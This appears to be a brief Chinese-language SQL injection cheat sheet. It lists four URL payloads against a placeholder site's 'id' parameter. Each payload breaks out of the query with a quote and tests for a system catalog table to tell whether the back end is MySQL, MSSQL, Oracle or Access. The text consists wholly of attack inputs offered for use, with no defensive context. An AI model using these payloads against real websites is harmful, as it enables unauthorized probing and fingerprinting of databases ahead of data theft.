判断是否是 Mysql数据库
    http://xxx?id=1’ and exists(select*from information_schema.tables) #

    判断是否是 MSSQL数据库
    http://xxx?id=1’ and exists(select*from sysobjects) #

    判断是否是Oracle数据库
    http://xxx?id=1’ and (select count(*) from dual)>0 #

    判断是否是 Access数据库
    http://xxx?id=1’ and exists(select*from msysobjects) #